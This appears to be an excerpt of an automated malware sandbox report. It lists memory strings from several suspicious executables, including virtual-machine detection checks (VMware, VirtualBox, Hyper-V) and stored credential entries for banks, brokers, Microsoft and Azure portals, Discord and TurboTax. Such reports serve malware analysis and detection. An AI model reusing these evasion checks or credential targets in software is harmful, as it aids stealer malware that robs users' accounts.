Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: firefox.exe, 0000001E.00000002.3031858393.00000270CC65D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2957174991.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958156579.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958769374.00000270CC674000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958487375.00000270CC674000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: vmware
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: RoamingCFCGIIEHIE.exe, RoamingCFCGIIEHIE.exe, 00000005.00000002.2234128926.000000000054C000.00000040.00000001.01000000.00000009.sdmp, userAKKKFBGDHJ.exe, userAKKKFBGDHJ.exe, 00000008.00000002.2311861747.000000000022E000.00000040.00000001.01000000.0000000B.sdmp, explorti.exe, explorti.exe, 00000009.00000002.2272766960.000000000058C000.00000040.00000001.01000000.0000000C.sdmp, explorti.exe, 0000000A.00000002.2271816286.000000000058C000.00000040.00000001.01000000.0000000C.sdmp, axplong.exe, 00000010.00000002.2340574498.00000000009DE000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000012.00000002.3243966824.00000000009DE000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 00000013.00000002.3244272627.000000000058C000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Hyper-V (guest)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 624f4d727e.exe, 00000018.00000002.2899758965.00000000025D2000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareo[
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.0000000000516000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.0000000000516000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.0000000000516000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.0000000000516000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.0000000000516000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.0000000000516000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: RoamingCFCGIIEHIE.exe, 00000005.00000002.2234128926.000000000054C000.00000040.00000001.01000000.00000009.sdmp, userAKKKFBGDHJ.exe, 00000008.00000002.2311861747.000000000022E000.00000040.00000001.01000000.0000000B.sdmp, explorti.exe, 00000009.00000002.2272766960.000000000058C000.00000040.00000001.01000000.0000000C.sdmp, explorti.exe, 0000000A.00000002.2271816286.000000000058C000.00000040.00000001.01000000.0000000C.sdmp, axplong.exe, 00000010.00000002.2340574498.00000000009DE000.00000040.00000001.01000000.0000000F.sdmp, axplong.exe, 00000012.00000002.3243966824.00000000009DE000.00000040.00000001.01000000.0000000F.sdmp, explorti.exe, 00000013.00000002.3244272627.000000000058C000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000012.00000002.3256607765.0000000001248000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000013.00000002.3258303084.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000014.00000002.2765136724.0000000002587000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000014.00000002.2765136724.0000000002536000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.000000000264F000.00000004.00000020.00020000.00000000.sdmp, 624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: firefox.exe, 0000001E.00000002.3033402856.00000270D62A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: firefox.exe, 0000001E.00000003.2957174991.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958156579.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031858393.00000270CC6A2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2958487375.00000270CC6A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: 624f4d727e.exe, 00000018.00000002.2899758965.00000000025D2000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.2084971278.0000000028D17000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
